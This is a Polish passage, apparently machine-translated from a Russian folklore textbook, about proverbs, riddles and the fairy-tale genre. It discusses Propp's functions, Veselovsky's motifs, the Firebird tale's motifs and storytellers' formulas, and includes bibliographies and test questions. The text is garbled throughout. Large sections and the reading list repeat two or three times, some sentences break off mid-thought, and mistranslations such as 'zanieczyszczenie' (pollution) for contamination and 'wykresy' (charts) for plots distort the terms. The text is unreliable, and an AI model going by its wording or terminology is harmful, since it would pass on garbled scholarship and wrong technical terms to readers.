może to być zagadka o świni i przysłowie o obłudniku, żebraku. Przysłowia mogą również zamienić się w zagadki: Ścinają w mieście, frytki lecą do nas

(listy, aktualności); W jednej kieszeni wesz na lassie, w drugiej pchła na łańcuszku (żebrak).

LITERATURA NA TEMAT

Snegirev I. M. Słownik rosyjskich przysłów i powiedzeń. Rosjanie w swoich przysłowiach / Comp., przygotowani. teksty, przedmowa, komentarz. E. A. Grushko, Yu M. Miedwiediew. - N. Nowogród, 1996. - (Pierwsze wydanie: M., 1848).

Przysłowia, powiedzenia, zagadki w zbiorach rękopisów XVIII-XX wieku / Wyd. przygotowany przez M. Ya. Melts, V. V. Mitrofanova, GG Shapovalova. - M.; L., 1961.

Khudyakov I. A. Wielkie rosyjskie zagadki. - M., 1861.

Przysłowia narodu rosyjskiego. Kolekcja V. Dahla. - M., 1957. (Również: M., 1984. Pierwsze wydanie: M., 1861-1862. Drugie wydanie: St. Petersburg; M., 1879).

Tajemnice narodu rosyjskiego. Zbiór zagadek, pytań, przypowieści i zadań. Opracował D.N. Sadovnikov. - M., 1959. (Pierwsze wydanie: St. Petersburg, 1876).

Illustrov I. I. Życie narodu rosyjskiego w jego przysłowiach i powiedzeniach: Zbiór rosyjskich przysłów i powiedzeń. - Wyd. 3, ks. i dodatkowe - [M.], 1915.

Rybnikova M. A. Zagadki. - M.; L., 1932.

Rybnikova M.A. Rosyjskie przysłowia i powiedzenia / wyd. wyd. BP Kirdan. - M., 1961.

Zagadki / Wyd. przygotowany V. V. Mitrofanova. - L., 1968.

Przysłowia. Powiedzenia. Zagadki / Comp. A. N. Martynova, V. V. Mitrofanova. - M., 1986.

Rosyjskie przysłowia i powiedzenia / Comp. F.M. Selivanov, B.P. Kirdan, V.P. Anikin. - M., 1988.

Rosyjskie zagadki ludowe, przysłowia, powiedzenia / Comp., wpis. Art., komentarze, słownik Yu G. Kruglov. - M., 1990.

Badania.

Dal V. I. Naputnoye // Przysłowia narodu rosyjskiego. Kolekcja V. Dahla (dowolne wyd.).

Potebnya A. A. Z wykładów z teorii literatury: Bajka. Przysłowie. Przysłowie. - Charków, 1894.

Rybnikova M. A. Riddle: Jej życie i natura // Rybnikova M. A. Riddles. - M.; L., 1932. - S. 11-68.

Anikin VP Rosjanie przysłowia ludowe, powiedzonka, zagadki i folklor dziecięcy: Przewodnik dla nauczyciela. - M., 1957. - S. 9-86.

Permyakov G. L. Od powiedzeń do bajek (notatki dotyczące ogólna teoria frazes). - M., 1970.

Mitrofanova V.V. Rosyjskie zagadki ludowe. - L. 1978. Zbiór paremiologiczny. Przysłowie. Zagadka: Struktura,

znaczenie, tekst. - M., 1978.

Anikin V.P. Vladimir Ivanovich Dal i jego kolekcja przysłów // Przysłowia i powiedzenia narodu rosyjskiego: Z kolekcji. V. I. Dahl / Wyd. BP Kirdan. - M., 1987. - S. 637-648.

Permyakov G. L. Podstawy paremiologii strukturalnej. - M., 1988. Małe formy folkloru: sob. artykuły ku pamięci G. L. Permyakova. -

PYTANIA TESTOWE

1. Opowiedz nam o pochodzeniu i historycznym rozwoju przysłów, powiedzeń i zagadek.

2. Porównaj użycie technika artystyczna metafory w przysłowiach i zagadkach. Udowodnij jego zależność od ustawienia treści gatunku.

ĆWICZENIE

W żywej mowie ludzi wokół ciebie rozpoznaj przysłowia, powiedzenia i skrzydlate słowa. Zapisz je naukowo.

1. BAJKI JAKO WIDOK PROZY LUDOWEJ

W W prozie ustnej wyróżniają się dwa duże działy: bajki i proza niebaśniowa. U podstaw ich rozróżnienia leży odmienny stosunek samych ludzi do baśni jako fikcji i „wydarzeń” jako prawdy. Z punktu widzenia ludzi bajki nie mają innego celu niż działanie na fantazję. Zadziwiają, zaskakują, zachwycają, interesują się swoimi niecodziennymi humorystycznymi sytuacjami. Także w połowa dziewiętnastego w. znawca Kultura ludowa K. S. Aksakov zauważył: „Wydaje się, że przysłowie powinno odnosić się głównie do baśni”pole jest czerwone od żyta, a mowa to kłamstwo - fikcja „1. Później V. Ya. Propp napisał:

„Bajka jest przemyślaną i poetycką fikcją. Nigdy nie uchodzi za rzeczywistość” 2 .

1 Aksakow K.S. O różnicy między rosyjskimi bajkami a piosenkami // Moskovskie Vedomosti. - 1852. - nr 153.2 Propp V.Ya. Folklor i rzeczywistość: wybrane. Artykuły. - M., 1976. - M., 1976. - S. 87.

Bajka to specyficzne zjawisko, które łączy kilka gatunków. Rosyjskie baśnie dzielą się zwykle na następujące gatunki: o zwierzętach, magiczne i codzienne (anegdotyczne i powieściowe).

Nie zawsze można wytyczyć wyraźną granicę między gatunki bajkowe, jak również pomiędzy epickie dzieła różne gatunki. Dzieje się tak dlatego, że fabuły mogą zmieniać swoją przynależność gatunkową: mogą być odgrywane zarówno jako bajki, jak i legendy, legendy, eposy, ballady, byliny. Na przykład epos o podróży Sadko do podwodny świat przypomina bajkę, dlatego czasami opowiadano ją jak bajkę. Bajkowa fabuła „Cudowna fajka”1 (o ujawnieniu tajemnicy morderstwa przy pomocy cudownej rośliny) znana jest z ballad. Kilka bajek późny okres stracił cudowne elementy i stał się powieściopisarzem. Opowieści o zwierzętach można by uznać za anegdoty. Zjawiska te spowodowane były ustnym charakterem folkloru, jego zdolnością do reagowania zarówno na sytuacje chwilowe, jak i na zmieniające się w procesie. rozwój historyczny estetyczne gusta ludzi. Mimo to bajki zachowały swoją podstawa artystyczna, nigdy nie rozpłynęły się całkowicie w innych gatunkach.

Pod względem historycznym bajki są dość późnym zjawiskiem. Warunkiem ich powstania w każdym narodzie był rozkład prymitywnego systemu komunalnego i upadek mitologicznego światopoglądu. W tym czasie w umysłach ludzi dokonała się „artystyczna eksplozja”: religijna i magiczna treść obrzędów i mitów przekształciła się w poetycką formę baśni. Ludy, które nie przezwyciężyły prymitywizmu, nie znają baśni. Jednak z punktu widzenia nowoczesny mężczyzna pojawienie się baśni było archaicznym typem autorstwa: ich wykonawcy byli przekonani o nienaruszalności treści. „Forma jest zatem przerośnięta i nie w pewnym sensie niezależnie od treści” – pisał M. I. Steblin-Kamensky2. Dzięki temu treść baśni pozwala przez tysiąclecia patrzeć w przeszłość.

Geneza gatunków baśniowych ma inną głębię historyczną. Najstarsze są bajki o zwierzętach, późniejsze magiczne i anegdotyczne powstały jeszcze później

1 Nazwy wszystkich baśniowych wątków podane są zgodnie z informatorem: Comparative Index of Plots. Bajka wschodniosłowiańska. - L., 1979. In indywidualne przypadki ich numery są podane z tego indeksu.

2 Steblin-Kamensky M.I. Mit. - L., 1976. - S. 83.

Powieściowy. Specyficzna jedność wszystkich gatunków przejawiała się w podobieństwie obrazu, w tych samych prawach poetyckich, które działały w każdej bajce.

Główną cechą artystyczną baśni jest ich fabuła. Fabuła powstała i rozwinęła się w wyniku konfliktu, a konflikt zrodziło życie, ta rzeczywistość, która nie do końca odpowiadała popularnemu ideałowi. Podstawą baśni jest zawsze antyteza między snem a rzeczywistością. Bajkowa fabuła oferuje pełne, choć utopijne rozwiązanie. W świecie baśni zwycięża sen.

Zasada antytezy znalazła uniwersalne zastosowanie w baśniach. Ich postacie są kontrastowo rozmieszczone na biegunach dobra i zła, których estetycznym wyrazem jest piękno i brzydota.

W bajce pojawia się zawsze główny bohater, akcja toczy się wokół niego. Zwycięstwo bohatera jest obowiązkowym ustawieniem fabuły. Podążając za bohaterem, baśniowa akcja nie pozwala na naruszenie chronologii ani na rozwój równoległych linii, jest ściśle sekwencyjna i jednoliniowa.

Bohaterów baśni, podobnie jak inne gatunki folklorystyczne, wyróżnia szerokie uogólnienie: nie są to postacie, ale typy, nośniki jakiejś głównej jakości, która decyduje o wizerunku. Są wewnętrznie statyczne, co można podkreślić powtarzającym się pseudonimem, portretem, wizerunkiem mieszkania i tak dalej. Jednak wewnętrzna niezmienność obrazów łączy się z ich głęboko nieodłącznym, zewnętrznym dynamizmem. Postacie z bajek ujawniają się przede wszystkim w akcji, a to jest główna recepcja ich obrazy. Są całkowicie zależni od swojej roli fabularnej. Jednoczesne działanie bohaterowie baśni stworzyć treść i kompozycję opowieści. Połączył się w jeden pomysł artystyczny, tworzą jedną narrację - fabułę. Bajki maksymalnie wykorzystują czas jako czynnik artystyczny, tym samym głęboko wyrażając istotę epickiego poetyckiego rodzaju, do którego należą.

Bajki charakteryzują się stałym powtarzaniem postaci tego samego typu w różne prace ale tylko w swoim gatunku. A tym samym bajki można połączyć w jedną historię. Zjawisko to nazywa się zanieczyszczeniem (z łac. contaminatio - „mieszanie, łączenie”). Wschodnia bajka Opowiadała o tym, jak słynna Szeherezada, która znała sztukę skażenia, w imię ratowania życia prowadziła niekończącą się narrację przez tysiąc i jedną noc.

W egzystencji ustnej bajki podlegały skurczom i wzrostom, procesom asymilacji z innymi utworami i gatunkami, a wreszcie mogły po prostu zostać zapomniane ... Dlatego bajki musiały mieć nie tylko harmonijną fabułę, ale także niezwykle jasny skład. Witalności baśni sprzyjała ich największa artystyczna prostota.

Fabuły baśni mają zwykły epicki rozwój: ekspozycja - fabuła - rozwój akcji - punkt kulminacyjny - rozwiązanie. Ale to jest ich ogólna, a nie specyficzna cecha. Budowa fabuły bajek ma swoje specyficzne cechy.

V. Ya Propp zwrócił szczególną uwagę na działania postacie z bajek i określił je terminem „funkcja”1. Badacz zauważył, że te same funkcje mogą się powtarzać na różnych wykresach. I rzeczywiście: uprowadzenie, złamanie zakazu, nierozpoznany przyjazd, trudne zadanie itp. - funkcje znane z wielu wątków różnych gatunków baśni.

Wraz z funkcjami w baśniowym tekście dość łatwo można wyróżnić najprostsze jednostki narracyjne fabuły, które po raz pierwszy scharakteryzował A. N. Veselovsky i nazwano „motywami” 2 . Kompozycyjnie fabuła baśni składa się z motywów.

Na przykład „Opowieść o Iwanie Carewiczu, Ognistym ptaku i szarym wilku”3 składa się z następujących motywów:

1. Ognisty ptak kradnie w nocy złote jabłka. Król każe swoim dzieciom ją złapać.

2. Trzej synowie strzegą ogrodu przez trzy noce. Ale tylko najmłodszy - Iwansakiewicz - wpadł w zasadzkę firebird i przyniósł swoje pióro.

3. Król wysyła dzieci na poszukiwanie firebird i obiecuje w nagrodę połowę swojego królestwa.

4. Iwan Carewicz wybiera jedną z trzech dróg i zyskuje wspaniałego asystenta - szarego wilka.

5. Szary Wilk pomaga mu dostać ognisty ptak, koń o złotej grzywie i księżniczka Elena Piękna.

6. Bracia zabijają śpiącego Iwan Carewicz i przydziel mu

1 Propp V.Ya. Morfologia baśni. - L., 1928. (wyd. 2: M., 1969).

2 Veselovsky A.N. Poetyka fabuł (1897-1906) // Veselovsky A.N. Polityka historyczna / Wyd., wpis. Sztuka. i uwaga. W.M. Żyrmuński. - L., 1940. - S. 493-596. Zobacz także Czytelnik badań.

3 rosyjskie opowieści ludowe A.N. Afanasiev w trzech tomach / Wyd. Opracowane przez L.G. Barag i N.V. Nowikow. - M., 1984 (t. 1); 1985 (t. 2.3). - T.1. - nr 168.

7. Szary wilk ożywia Iwana Carewicza, pojawia się w swoim carie

8. Prawda zostaje ujawniona. Bracia zostają ukarani, Iwan Carewicz nagrodzony.

Każdy bajkowy gatunek ma swoje charakterystyczne motywy. Spotkanie determinuje strukturę wielu zwierzęcych opowieści, błazeńskie oszustwo jest typowe dla anegdotycznych opowieści, poszukiwanie wspaniałej panny młodej jest typowe dla bajek.

Im bardziej złożona fabuła, tym jeszcze zawiera motywy. Motywy ułożone są w określonej kolejności, podporządkowane są ogólnej idei fabuły. Baśń ma zwykle główny, centralny motyw, który najlepiej charakteryzuje ta fabuła i dlatego jest najdokładniej rozwinięta. Dla rozważanej powyżej opowieści jest to potrójny motyw wydobycia ognistego ptaka, wspaniałego konia i księżniczki - to w nim fabuła osiąga swój punkt kulminacyjny.

Motywy baśniowe są często potrójne: trzy zadania, trzy wycieczki, trzy spotkania itd. Tworzy to wyważony epicki rytm, ton filozoficzny i powstrzymuje dynamiczną popędowość akcji fabularnej. Ale najważniejsze jest to, że trójki służą do ujawnienia idei fabuły. Na przykład rosnąca liczba głów trzech węży podkreśla znaczenie wyczynu wężowego wojownika; rosnącą wartością kolejnego łupu bohatera jest surowość jego prób.

Motyw ma swoją wewnętrzną strukturę. Jego najważniejszy składnik

Funkcje, czyli działania postaci z bajek, które tworzą rozwój fabuły. V. Ya Propp słusznie zauważył, że funkcje bajkowe mają tendencję do parowania, na przykład: zakaz - naruszenie, nieobecność - uprowadzenie, bitwa - zwycięstwo itp. Motyw baśniowy obejmuje nie jedną, ale co najmniej dwie funkcje, które sąsiadują ze sobą w fabuła i zjednoczona w znaczeniu. Stanowią narracyjny rdzeń motywu. Aby narracja mogła powstać, wraz z funkcjami, potrzebne są również inne elementy: podmiot (producent akcji), przedmiot (postać, do której akcja jest skierowana), scena akcji, towarzyszące mu okoliczności, jego wynik.

Elementarne wątki składają się tylko z jednego motywu (prawdopodobnie takie były starożytne mity). Więcej złożony widok są wątkami kumulacyjnymi (z łac. cumulare – „wzrost, kumulacja”) – wynikającymi z kumulacji łańcuchów odmian tego samego motywu. Takie wątki są typowe przede wszystkim dla wielu bajek o zwierzętach ("Muchy Terem", "Chata zimowa (nocleg) dla zwierząt"), choć spotyka się je również w bajkach anegdotycznych ("Nadziewany głupek"). Najbardziej złożona jest fabuła typu bajkowego, na którą składa się łańcuch motywów

Baśń ma zawsze szczególny stosunek do rzeczywistości: baśniowa przestrzeń i baśniowy czas nie są wpisane w realną geografię i historię, narracja okazuje się niejako poza rzeczywistością, co pozwala zamanifestować się poetycka fikcja się do maksimum. Jednocześnie baśnie zachowują realistyczną wierność, niosą w sobie „spontaniczny realizm” i są wypełnione prawdziwymi szczegółami dnia codziennego. Prawda i fikcja, dwa przeciwny początek, są dialektycznie połączone w bajkach w jedną całość.

Opowiadanie bajek odbywało się w szczególny sposób, język artystyczny. Używali na przykład tradycyjnych początków i końcówek - formuł początkowych i końcowych. Były używane szczególnie konsekwentnie w bajkach. Najbardziej typowe to: W jakimś królestwie, w jakimś stanie kiedyś... (początek); Zrobiłem ucztę dla całego świata. I byłem tam miód-pi- Wypiłam, spłynęła mi po wąsach, ale nie dostała się do ust(kończący się). Zachin wyprowadził słuchaczy z rzeczywistości w świat baśni, a zakończenie przywróciło ich, żartobliwie podkreślając, że bajka to ta sama fikcja, co samo miodowe piwo, które nie dostało się do ust. Początki i zakończenia były czasem uzupełniane powiedzeniami - rymowanymi bajkami, w których gawędziarz żartował z samego siebie.

Na przykład: Zaczęliśmy bajkę od tańca kurczaka, od świni w rytmie. Ta wędrowna świnia Dobry człowiek przeżył rozmowę. Przerwała mu nasycona. To nie bajka - powiedzenie. Będę kłamać i kłamać. Aby nie przeszkadzać! jeden

Jednak głównym zainteresowaniem baśni była nie tyle forma, co treść, dlatego stylistycznie wiele bajek jest zbliżonych do żywej mowy ludowej.

Zabawny charakter baśni nie przeczył ich ideologicznym aspiracjom. Historie odpowiedziały na negatywne stronyżycia, przeciwstawiły się im własną, słuszną decyzją. Nie sposób nie zauważyć, że sympatyzują z bezbronnymi, obrażonymi, niewinnie prześladowanymi – idealizują tych bohaterów, czynią

1 Wielkie rosyjskie bajki z prowincji Wiatka. Kolekcja D.K. Zelenina. - Str., 1915. - S. 300.

BAJKI

Badania.

Teksty.

Snegirev I.M. Słownik rosyjskich przysłów i powiedzeń. Rosjanie w swoich przysłowiach / Comp., przygotowani. teksty, przedmowa, komentarz. E. A. Grushko, Yu M. Miedwiediew. - N. Nowogród, 1996. - (Pierwsze wydanie: M., 1848).

Przysłowia, powiedzenia, zagadki w zbiorach rękopisów XVIII-XX wieku / Wyd. przygotowany przez M. Ya. Melts, V. V. Mitrofanova, GG Shapovalova. - M.; L., 1961.

Chudiakow I. A. Wielkie rosyjskie tajemnice. - M., 1861.

Przysłowia narodu rosyjskiego. Kolekcja V. Dahla. - M., 1957. (Również: M., 1984. Pierwsze wydanie: M., 1861-1862. Drugie wydanie: St. Petersburg; M., 1879).

Tajemnice narodu rosyjskiego. Zbiór zagadek, pytań, przypowieści i zadań. Opracował D.N. Sadovnikov. - M., 1959. (Pierwsze wydanie: St. Petersburg, 1876).

Iljustrow I.I.Życie narodu rosyjskiego w jego przysłowiach i powiedzeniach: Zbiór rosyjskich przysłów i powiedzeń. - Wyd. 3, ks. i dodatkowe - [M.], 1915.

Rybnikova M.A. Puzzle. - M.; L., 1932.

Rybnikova M.A. Rosyjskie przysłowia i powiedzenia / Wyd. wyd. BP Kirdan. - M., 1961.

Zagadki / Wyd. przygotowany V. V. Mitrofanova. - L., 1968.

Przysłowia. Powiedzenia. Zagadki / Comp. A. N. Martynova, V. V. Mitrofanova. - M., 1986.

Rosyjskie przysłowia i powiedzenia / Comp. F.M. Selivanov, B.P. Kirdan, V.P. Anikin. - M., 1988.

Rosyjskie zagadki ludowe, przysłowia, powiedzenia / Comp., wpis. Art., komentarze, słownik Yu G. Kruglov. - M., 1990.

Dal V.I. Naputnoye // Przysłowia narodu rosyjskiego. Kolekcja V. Dahla (dowolne wyd.).

Potebnia A. A. Z wykładów z teorii literatury: Bajka. Przysłowie. Przysłowie. - Charków, 1894.

Rybnikova M.A. Zagadka: jej życie i natura // Rybnikova M. A. Riddles. - M.; L., 1932. - S. 11-68.

Anikin W.P. Rosyjskie przysłowia ludowe, powiedzenia, zagadki i folklor dziecięcy: Przewodnik dla nauczyciela. - M., 1957. - S. 9-86.

Permyakov G.L. Od powiedzenia do bajki (Uwagi na temat ogólnej teorii frazesów). - M., 1970.

Mitrofanova V.V. Rosyjskie zagadki ludowe. - L., 1978.

Kolekcja paremiologiczna. Przysłowie. Zagadka: Struktura, znaczenie, tekst. - M., 1978.

Anikin W.P. Władimir Iwanowicz Dal i jego kolekcja przysłów // Przysłowia i powiedzenia narodu rosyjskiego: Z kolekcji. V. I. Dahl / Wyd. BP Kirdan. - M., 1987. - S. 637-648.

Permyakov G.L. Podstawy paremiologii strukturalnej. - M., 1988.

Małe formy folkloru: sob. artykuły ku pamięci G. L. Permyakova. - M., 1995.

PYTANIA TESTOWE

1. Opowiedz nam o pochodzeniu i historycznym rozwoju przysłów, powiedzeń i zagadek.

2. Porównaj użycie metafory artystycznej w przysłowiach i zagadkach. Udowodnij jego zależność od ustawienia treści gatunku.

ĆWICZENIE

W żywej mowie ludzi wokół ciebie rozpoznaj przysłowia, powiedzenia i hasła. Zapisz je naukowo.

W prozie ustnej wyróżniają się dwa duże działy: bajki i proza niebaśniowa. U podstaw ich rozróżnienia leży odmienny stosunek samych ludzi do baśni jako fikcji i „wydarzeń” jako prawdy. Z punktu widzenia ludzi bajki nie mają innego celu niż działanie na fantazję. Zadziwiają, zaskakują, zachwycają, interesują się swoimi niecodziennymi humorystycznymi sytuacjami. Nawet w połowie XIX wieku. znawca kultury ludowej K. S. Aksakov zauważył: „Wydaje się, że przysłowie powinno odnosić się głównie do baśni pole jest czerwone od żyta, a mowa to kłamstwo - Fikcja”. Później V. Ya Propp napisał: „Bajka jest przemyślaną i poetycką fikcją. Nigdy nie uchodzi za rzeczywistość”.

Bajka to specyficzne zjawisko, które łączy kilka gatunków. Rosyjskie baśnie dzielą się zwykle na następujące gatunki: o zwierzętach, magiczne i codzienne (anegdotyczne i powieściowe).

Nie zawsze można wytyczyć wyraźną granicę między gatunkami baśniowymi, a także między dziełami epickimi różnych gatunków. Dzieje się tak, ponieważ fabuły mogą zmieniać swoją przynależność gatunkową: mogą być wykonywane zarówno jako bajki, jak i legendy, tradycje, eposy, ballady, by-valytsins. Na przykład epos o podróży Sadko do podwodnego świata przypomina bajkę, dlatego czasami opowiadano o niej jako o baśni. Bajkowa fabuła „Cudowna fajka” (o ujawnieniu tajemnicy morderstwa przy pomocy cudownej rośliny) znana jest z ballad. Niektóre baśnie w późniejszym okresie straciły swoje cudowne elementy i stały się powieściami. Opowieści o zwierzętach można by uznać za anegdoty. Zjawiska te spowodowane były ustnym charakterem folkloru, jego zdolnością reagowania zarówno na chwilowe sytuacje, jak i na zmieniające się w procesie rozwoju historycznego gusta estetyczne ludzi. Mimo to baśnie zachowały swoją artystyczną podstawę, nigdy nie rozpłynęły się całkowicie w innych gatunkach.

Pod względem historycznym bajki są dość późnym zjawiskiem. Warunkiem ich powstania w każdym narodzie był rozkład prymitywnego systemu komunalnego i upadek mitologicznego światopoglądu. W tym czasie w umysłach ludzi dokonała się „artystyczna eksplozja”: religijna i magiczna treść obrzędów i mitów przekształciła się w poetycką formę baśni. Ludy, które nie przezwyciężyły prymitywizmu, nie znają baśni. Jednocześnie z punktu widzenia współczesnego człowieka pojawienie się baśni było archaicznym typem autorstwa: ich wykonawcy byli przekonani o nienaruszalności treści. „Z tego powodu forma okazuje się przerośnięta i w pewnym sensie niezależna od treści” – pisał M. I. Steblin-Kamensky. Dzięki temu treść baśni pozwala spojrzeć w przeszłość przez tysiąclecia.

Geneza gatunków baśniowych ma inną głębię historyczną. Najstarsze są bajki o zwierzętach, późniejsze magiczne i anegdotyczne powstały jeszcze później

Powieściowy. Specyficzna jedność wszystkich gatunków przejawiała się w podobieństwie obrazu, w tych samych prawach poetyckich, które działały w każdej bajce.

Zasada antytezy znalazła uniwersalne zastosowanie w baśniach. Ich postacie są kontrastowo rozmieszczone na biegunach dobra i zła, których estetycznym wyrazem jest piękno i brzydota.

W baśni zawsze pojawia się główny bohater, akcja toczy się wokół niego. Zwycięstwo bohatera jest obowiązkowym ustawieniem fabuły. Podążając za bohaterem, baśniowa akcja nie pozwala na naruszenie chronologii ani na rozwój równoległych linii, jest ściśle sekwencyjna i jednoliniowa.

Bohaterów baśni, podobnie jak inne gatunki folklorystyczne, wyróżnia szerokie uogólnienie: nie są to postacie, ale typy, nośniki jakiejś głównej jakości, która decyduje o wizerunku. Są wewnętrznie statyczne, co można podkreślić powtarzającym się pseudonimem, portretem, wizerunkiem mieszkania i tak dalej. Jednak wewnętrzna niezmienność obrazów łączy się z ich głęboko nieodłącznym, zewnętrznym dynamizmem. Postacie z bajek ujawniają się przede wszystkim w akcji i to jest główny sposób ich portretowania. Są całkowicie zależni od swojej roli fabularnej. Jednocześnie działania bajkowych postaci tworzą treść i kompozycję baśni. Połączone w jedną ideę artystyczną tworzą jedną narrację – fabułę. Bajki maksymalnie wykorzystują czas jako czynnik artystyczny, tym samym głęboko wyrażając istotę epickiego poetyckiego rodzaju, do którego należą.

Bajki charakteryzują się stabilnym powtórzeniem tego samego typu postaci w różnych utworach, ale tylko w ramach ich gatunku. Dzięki temu bajki można połączyć w jedną narrację. Zjawisko to nazywa się zanieczyszczeniem (z łac. contaminatio - „mieszanie, łączenie”). Orientalna opowieść opowiadała, jak słynna Szeherezada, znająca sztukę skażenia, w imię ocalenia życia prowadziła niekończącą się narrację przez tysiąc i jedną noc.

V. Ya Propp zwracał szczególną uwagę na działania postaci z bajek i określał je terminem „funkcja”. Badacz zauważył, że te same funkcje mogą się powtarzać na różnych wykresach. I rzeczywiście: uprowadzenie, złamanie zakazu, nierozpoznany przyjazd, trudne zadanie itp. – funkcje znane z wielu wątków różnych gatunków baśni.

Wraz z funkcjami w bajkowym tekście dość łatwo można rozróżnić najprostsze jednostki narracyjne fabuły, które po raz pierwszy scharakteryzował A. N. Veselovsky i nazwano „motywami”. Kompozycyjnie fabuła baśni składa się z motywów.

Na przykład „Opowieść o Iwanie Carewiczu, Ognistym ptaku i szarym wilku” składa się z następujących motywów:

1. Ognisty ptak kradnie w nocy złote jabłka. Król każe swoim dzieciom ją złapać.

2. Trzej synowie strzegą ogrodu przez trzy noce. Ale tylko najmłodszy - Iwan Carewicz - zaatakował ognistego ptaka i przyniósł jej pióro.

3. Król wysyła dzieci na poszukiwanie ognistego ptaka i obiecuje w nagrodę połowę swojego królestwa.

4. Iwan Carewicz wybiera jedną z trzech dróg i zyskuje wspaniałego asystenta - szarego wilka.

5. Szary wilk pomaga mu zdobyć ognistego ptaka, konia o złotej grzywie i księżniczkę Elenę Piękna.

6. Bracia zabijają śpiącego Iwana Carewicza i przywłaszczają sobie jego zdobycz.

7. Szary wilk ożywia Iwana Carewicza, pojawia się w swoim królestwie.

8. Prawda zostaje ujawniona. Bracia zostają ukarani, Iwan Carewicz nagrodzony.

Im bardziej złożona fabuła, tym więcej motywów zawiera. Motywy ułożone są w określonej kolejności, podporządkowane są ogólnej idei fabuły. Baśń ma zwykle główny, centralny motyw, który najdobitniej charakteryzuje daną fabułę, a więc rozwija się w sposób najbardziej szczegółowy. Dla rozważanej powyżej opowieści jest to potrójny motyw wydobycia ognistego ptaka, wspaniałego konia i księżniczki - to w nim fabuła osiąga swój punkt kulminacyjny.

Motyw ma swoją wewnętrzną strukturę. Jej najważniejszym elementem są funkcje, czyli działania postaci z bajek, które tworzą rozwój fabuły. V. Ya Propp słusznie zauważył, że funkcje bajkowe mają tendencję do parowania, na przykład: zakaz - naruszenie, nieobecność - uprowadzenie, bitwa - zwycięstwo itp. Motyw baśniowy obejmuje nie jedną, ale co najmniej dwie funkcje, które sąsiadują ze sobą w fabuła i zjednoczona w znaczeniu. Stanowią narracyjny rdzeń motywu. Aby narracja mogła powstać, wraz z funkcjami, potrzebne są również inne elementy: podmiot (producent akcji), przedmiot (postać, do której akcja jest skierowana), scena akcji, towarzyszące mu okoliczności, jego wynik.

Elementarne wątki składają się tylko z jednego motywu (prawdopodobnie takie były starożytne mity). Bardziej złożonym typem są fabuły kumulacyjne (od łac. cumulare – „wzrost, kumulacja”) – wynikające z kumulacji łańcuchów wariacji tego samego motywu. Takie wątki są typowe przede wszystkim dla wielu bajek o zwierzętach ("Muchy Terem", "Chata zimowa (nocleg) dla zwierząt"), choć spotyka się je również w bajkach anegdotycznych ("Nadziewany głupek"). Najbardziej złożona jest fabuła typu bajkowego, na którą składa się łańcuch motywów

Baśń ma zawsze szczególny stosunek do rzeczywistości: baśniowa przestrzeń i baśniowy czas nie są wpisane w realną geografię i historię, narracja okazuje się niejako poza rzeczywistością, co pozwala zamanifestować się poetycka fikcja się do maksimum. Jednocześnie baśnie zachowują realistyczną wierność, niosą w sobie „spontaniczny realizm” i są wypełnione prawdziwymi szczegółami dnia codziennego. Prawda i fikcja, dwie przeciwstawne zasady, są dialektycznie połączone w bajkach w jedną całość.

Opowiadanie bajek odbywało się w specjalnym, artystycznym języku. Używali na przykład tradycyjnych początków i końcówek - formuł początkowych i końcowych. Były używane szczególnie konsekwentnie w bajkach. Najbardziej typowe to: W pewnym królestwie, w pewnym stanie, żyli...(początek); Zrobiłem ucztę dla całego świata. A ja tam byłem, piłem piwo miodowe, spłynęło mi po wąsach, ale nie dostało się do ust(kończący się). Początek wyprowadził słuchaczy z rzeczywistości w świat baśni, a zakończenie przywrócił ich, żartobliwie podkreślając, że bajka to ta sama fikcja, co ta sama piwo miodowe, który nie weszło do ust. Początki i zakończenia były czasem uzupełniane powiedzeniami - rymowanymi bajkami, w których gawędziarz żartował z samego siebie.

Na przykład: Zaczęliśmy bajkę od tańca kurczaka, od chodzącej świni. Ta wędrowna świnia dobrego faceta przetrwała rozmowę. Przerwała mu nasycona. To nie bajka - powiedzenie. Będę kłamać i kłamać. Nie do.ingerować!

Jednak głównym zainteresowaniem baśni była nie tyle forma, co treść, dlatego stylistycznie wiele bajek jest zbliżonych do żywej mowy ludowej.

Zabawny charakter baśni nie przeczył ich ideologicznym aspiracjom. Bajki reagowały na negatywne aspekty życia, przeciwstawiały się im własną, sprawiedliwą decyzją. Nie sposób nie zauważyć, że sympatyzują z bezbronnymi, obrażonymi, niewinnie prześladowanymi – idealizują tych bohaterów, czynią

są szczęśliwi. Fikcja, podniesiona przez bajki do absolutnego stopnia jako kategoria estetyczna, działała w jedności z etyką ludową.

Bajki mają charakter filozoficzny, ich specyficzna treść opiera się na uogólnionej myśli ludu. Fabuła baśni może być postrzegana jako rodzaj metafory prawdziwych relacji międzyludzkich i odnajdywać niekończące się analogie w samym życiu.

Bajka to specyficzne zjawisko, które łączy kilka gatunków. Rosyjskie baśnie dzielą się zwykle na następujące gatunki: o zwierzętach, magiczne i codzienne (anegdotyczne i powieściowe).

Nie zawsze można wytyczyć wyraźną granicę między gatunkami baśniowymi, a także między dziełami epickimi różnych gatunków. Dzieje się tak dlatego, że fabuły mogą zmieniać swoją przynależność gatunkową: mogą być wykonywane zarówno jako baśnie, jak i legendy, tradycje, eposy, ballady. przypomina bajkę, dlatego czasami opowiadano ją jak bajkę. Niektóre baśnie w późniejszym okresie straciły swoje cudowne elementy i stały się powieściami. Opowieści o zwierzętach można by uznać za anegdoty. Zjawiska te spowodowane były ustnym charakterem folkloru, jego zdolnością reagowania zarówno na chwilowe sytuacje, jak i na zmieniające się w procesie rozwoju historycznego gusta estetyczne ludzi. Baśnie zachowały swoją artystyczną podstawę i nigdy nie uległy całkowitemu rozpuszczeniu w innych gatunkach.

Pod względem historycznym bajki są dość późnym zjawiskiem. Warunkiem ich powstania w każdym narodzie był rozkład prymitywnego systemu komunalnego i upadek mitologicznego światopoglądu. Ludy, które nie przezwyciężyły prymitywizmu, nie znają baśni. Jednocześnie z punktu widzenia współczesnego człowieka pojawienie się baśni było archaicznym typem autorstwa: ich wykonawcy byli przekonani o nienaruszalności treści.

Geneza gatunków baśniowych ma inną głębię historyczną. Najstarsze są bajki o zwierzętach, później pojawiły się bajki i anegdoty, a jeszcze później - opowiadania.

Główną cechą artystyczną baśni jest ich fabuła. Fabuła powstała i rozwinęła się w wyniku konfliktu, a konflikt zrodziło życie. Podstawą baśni jest zawsze antyteza między snem a rzeczywistością. Bajkowa fabuła oferuje pełną rozdzielczość. W świecie baśni zwycięża sen.

Zasada antytezy znalazła uniwersalne zastosowanie w baśniach. Ich postacie są kontrastowo rozmieszczone na biegunach dobra i zła, których estetycznym wyrazem jest piękno i brzydota.

